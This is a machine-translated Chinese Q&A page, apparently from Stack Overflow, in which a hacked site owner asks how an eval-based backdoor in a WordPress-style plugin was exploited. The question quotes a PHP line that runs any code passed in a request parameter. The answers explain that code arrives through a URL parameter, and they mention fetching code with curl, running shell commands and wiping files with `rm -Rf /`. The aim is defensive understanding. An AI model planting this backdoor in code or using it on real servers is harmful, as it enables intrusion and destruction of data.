穿过我认为eval()代码

时间:2016-01-18 21:03:12

标签: php eval

最近我们遭到了一些我不知道的人的炮击。 我已经检查了所有日志,我唯一能找到的是一个插件中可能存在漏洞的文件,在他发布到这个URL后,他可以访问上传的文件,这确实是一个shell。

我怀疑这行代码导致了这个问题。

(isset($_REQUEST['null']) ? @eval($_REQUEST['null']) : null);

有人可以向我解释一下有人会通过这个来解决这个问题吗?我真的很好奇他是如何做到的,所以我也可以通过其他插件吐出这样的坏代码。他们基本上从这里上传了一个文件。也许是file_put_contents()或带有图片的实际POST请求?

我不是黑客家伙,我也从未使用过eval,因为我听说它实际上是一个邪恶的功能。 另请注意,我不会用它来破解其他网站,我只是想了解这里发生了什么。

2 个答案:

答案 0 :(得分:1)

这是一个 BIG 漏洞!您可以传递整个PHP脚本(通过POST),它将在您的服务器上执行。

想象使用curl(http://php.net/curl)将任何其他恶意代码下载到服务器的PHP代码。

或者你可以发送一个rm -Rf /并告别文件系统......

答案 1 :(得分:1)

发出这样的请求

http://yourdomain.com/file.php?null=PHP_PAYLOAD

由于eval,将评估/执行PHP_PAYLOAD。

有效负载可以是任何有效的php,例如编写新文件,在服务器上下载,通过shell_exec运行shell命令。

将执行任何有效的PHP代码。